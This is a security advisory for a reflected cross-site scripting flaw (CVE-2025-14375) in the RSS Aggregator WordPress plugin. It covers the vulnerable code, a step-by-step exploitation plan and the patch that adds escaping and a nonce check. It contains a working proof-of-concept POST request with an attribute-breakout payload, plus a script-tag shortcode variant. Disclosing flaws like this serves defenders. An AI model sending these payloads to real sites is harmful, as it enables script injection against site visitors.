RSS Aggregator – RSS Import, News Feeds, Feed to Post, and Autoblogging <= 5.0.10 - Reflected Cross-Site Scripting via className
Description
The RSS Aggregator – RSS Import, News Feeds, Feed to Post, and Autoblogging plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘className’ parameter in all versions up to, and including, 5.0.10 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:NTechnical Details
<=5.0.10What Changed in the Fix
Changes introduced in v5.0.11
Source Code
WordPress.org SVN# CVE-2025-14375: Reflected XSS in RSS Aggregator via `className` ## 1. Vulnerability Summary The **WP RSS Aggregator** plugin (up to version 5.0.10) is vulnerable to Reflected Cross-Site Scripting (XSS) due to insufficient sanitization and output escaping of the `className` parameter within its re…
Show full research plan
CVE-2025-14375: Reflected XSS in RSS Aggregator via className
1. Vulnerability Summary
The WP RSS Aggregator plugin (up to version 5.0.10) is vulnerable to Reflected Cross-Site Scripting (XSS) due to insufficient sanitization and output escaping of the className parameter within its rendering engine. Specifically, the plugin's AJAX handler for rendering displays accepts a JSON-encoded data object and passes it to the Renderer class. The ListLayout and other layout implementations then output the htmlClass attribute (mapped from className or provided directly) into the HTML template without using esc_attr(), allowing for attribute breakout and script injection.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Actions:
wp_ajax_nopriv_wpra.render.display(Unauthenticated)wp_ajax_wpra.render.display(Authenticated)
- Vulnerable Parameter:
data(A JSON string containing display attributes). - Payload Key:
classNameorhtmlClass. - Authentication: Not required (via
noprivaction). - Preconditions: A valid "Display" ID must exist in the database (default display usually created on install).
3. Code Flow
- Entry Point: In
core/modules/renderer.php, the$ajaxRenderanonymous function is registered towp_ajax_nopriv_wpra.render.display. - Input Parsing: The function retrieves the
dataparameter from$_POSTviafilter_input(INPUT_POST, 'data')and performsjson_decode. - Validation: It verifies that
idandpagewithin the decoded JSON are numeric. - Rendering: It calls
$renderer->renderArgs($data, 'shortcode')incore/src/Renderer.php. - Layout Creation:
renderArgscallsrenderDisplay, which instantiates a layout (e.g.,RebelCode\Aggregator\Core\Display\ListLayout). The attributes from the JSON are used to populate theDisplaySettingsobject ($this->ds). - The Sink: In
core/src/Display/ListLayout.php, therender()method uses a heredoc to generate HTML:
The variablereturn <<<HTML <div class="wp-rss-aggregator wpra-list-template {$this->ds->htmlClass}"> <{$listType} class="rss-aggregator wpra-item-list {$listClass}" start="{$listStart}"> {$listItems} </{$listType}> </div> HTML;{$this->ds->htmlClass}is injected directly into theclassattribute of thedivandlitags without any escaping (missingesc_attr()).
4. Nonce Acquisition Strategy
According to the source code in core/modules/renderer.php, the wp_ajax_nopriv_wpra.render.display and wp_ajax_wpra.render.display actions do not implement any nonce checks.
// core/modules/renderer.php
$ajaxRender = function () use ( $renderer ) {
$dataJson = filter_input( INPUT_POST, 'data' );
$data = json_decode( $dataJson, true );
if ( json_last_error() !== JSON_ERROR_NONE ) {
// ... die
}
$id = $data['id'] ?? null;
$page = $data['page'] ?? null;
if ( ! is_numeric( $id ) || ! is_numeric( $page ) ) {
// ... die
}
echo $renderer->renderArgs( $data, 'shortcode' );
die();
};
Since the action is unauthenticated and lacks a check_ajax_referer or wp_verify_nonce call, no nonce is required for exploitation.
5. Exploitation Strategy
The exploit involves sending a crafted POST request to the AJAX endpoint with a JSON payload containing the XSS vector in the htmlClass or className property.
Payload Construction
We need to break out of the class attribute:" onmouseover="alert(document.domain)" data-x="
Step-by-Step Plan
- Preparation: Ensure at least one display exists to satisfy the
is_numeric($id)check. - Request: Send an unauthenticated POST request to
/wp-admin/admin-ajax.php. - HTTP Request Details:
- Method:
POST - URL:
{{BASE_URL}}/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=wpra.render.display&data={"id":"1","page":"1","htmlClass":"\" onmouseover=\"alert(document.domain)\" data-x=\""}
- Method:
6. Test Data Setup
- Identify/Create a Display: Use WP-CLI to ensure a display exists.
# Check existing displays wp post list --post_type=wprss_display # If none exist, the plugin usually creates a default one (ID 1 or similar). # We can also check the wp_options for the default display ID wp option get wpra_default_display_id - Ensure Feed Items exist: The renderer needs items to display the list.
# Create a dummy feed source and import wp post create --post_type=wprss_feed --post_title="Test Feed" --post_status=publish # (The plugin will normally handle the import, but for PoC we just need the IDs to be valid)
7. Expected Results
- The server should return a
200 OKresponse. - The response body should contain the rendered HTML for the display.
- The injected payload should be visible in the HTML:
<div class="wp-rss-aggregator wpra-list-template " onmouseover="alert(document.domain)" data-x=""> - When a user hovers over the rendered display container, the JavaScript
alert(document.domain)will execute.
8. Verification Steps
- Check Output: Inspect the response body of the
http_requestfor the stringonmouseover="alert(document.domain)". - DOM Verification: Use
browser_navigateto the page where a display is rendered (if applicable) or usebrowser_evalon a test page to simulate the AJAX call and check if the returned HTML is rendered into the DOM.
9. Alternative Approaches
- Nested Property: If
htmlClassis not directly accepted, try nesting it insidesettings:{"id":"1","page":"1","settings":{"htmlClass":"..."}}. - Shortcode Context: Attempt to trigger the XSS by placing a shortcode on a page and observing the rendered output:
[wp-rss-aggregator id="1" className="\"><script>alert(1)</script>"]
(Note: This requires a Contributor+ account, whereas the AJAX method is unauthenticated). - Property Mapping: The description says
className. IfhtmlClassfails, tryclassNamespecifically in the JSON, as theRenderermight map Gutenberg block attributes to display settings.
Summary
The WP RSS Aggregator plugin is vulnerable to unauthenticated Reflected Cross-Site Scripting (XSS) because its AJAX-based display rendering engine fails to sanitize or escape user-provided layout classes. Attackers can inject arbitrary JavaScript by providing a crafted JSON payload to the 'wpra.render.display' AJAX action, which executes when a victim visits a link or executes a script-triggering action.
Vulnerable Code
// core/modules/renderer.php:42 $ajaxRender = function () use ( $renderer ) { $dataJson = filter_input( INPUT_POST, 'data' ); $data = json_decode( $dataJson, true ); if ( json_last_error() !== JSON_ERROR_NONE ) { status_header( 400 ); echo 'Could not decode JSON.'; die(); } $id = $data['id'] ?? null; $page = $data['page'] ?? null; if ( ! is_numeric( $id ) || ! is_numeric( $page ) ) { status_header( 400 ); echo 'Invalid ID or page number.'; die(); } echo $renderer->renderArgs( $data, 'shortcode' ); die(); }; --- // core/src/Display/ListLayout.php:36 return <<<HTML <div class="wp-rss-aggregator wpra-list-template {$this->ds->htmlClass}"> <{$listType} class="rss-aggregator wpra-item-list {$listClass}" start="{$listStart}"> {$listItems} </{$listType}> </div> HTML;
Security Fix
@@ -55,6 +55,12 @@ die(); } + $nonce = $data['_wpnonce'] ?? ''; + if ( ! wp_verify_nonce( $nonce, 'wpra_render_display' ) ) { + status_header( 403 ); + echo 'Nonce verification failed.'; + die(); + } // The $data array now contains all persisted shortcode attributes // from hx-vals, including id, page, sources, limit, exclude, pagination, template. // Pass the whole $data array to renderArgs. @@ -33,9 +33,10 @@ $listStart = ( $state->page - 1 ) * $this->ds->numItems + 1; $listItems = $this->renderItems( $posts, fn ( IrPost $post ) => $this->item( $post ) ); + $htmlClass = esc_attr( $this->ds->htmlClass ); return <<<HTML - <div class="wp-rss-aggregator wpra-list-template {$this->ds->htmlClass}"> + <div class="wp-rss-aggregator wpra-list-template {$htmlClass}"> <{$listType} class="rss-aggregator wpra-item-list {$listClass}" start="{$listStart}"> {$listItems} </{$listType}> @@ -44,8 +45,10 @@ } private function item( IrPost $post ): string { + $htmlClass = esc_attr( $this->ds->htmlClass ); + return <<<HTML - <li class="wpra-item feed-item {$this->ds->htmlClass}"> + <li class="wpra-item feed-item {$htmlClass}"> {$this->renderTitle($post)} <div class="wprss-feed-meta">
Exploit Outline
The exploit targets the AJAX action 'wpra.render.display' which is accessible to unauthenticated users via 'wp_ajax_nopriv'. An attacker constructs a POST request to /wp-admin/admin-ajax.php with the following parameters: 'action=wpra.render.display' and a 'data' parameter containing a JSON object. This JSON object must include a valid numeric 'id' (for a display) and 'page'. The malicious payload is placed in the 'htmlClass' or 'className' key within the JSON. Because the plugin does not escape this value before outputting it into the 'class' attribute of the rendered display div, the attacker can break out of the attribute and inject event handlers (e.g., '" onmouseover="alert(document.domain)"').
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.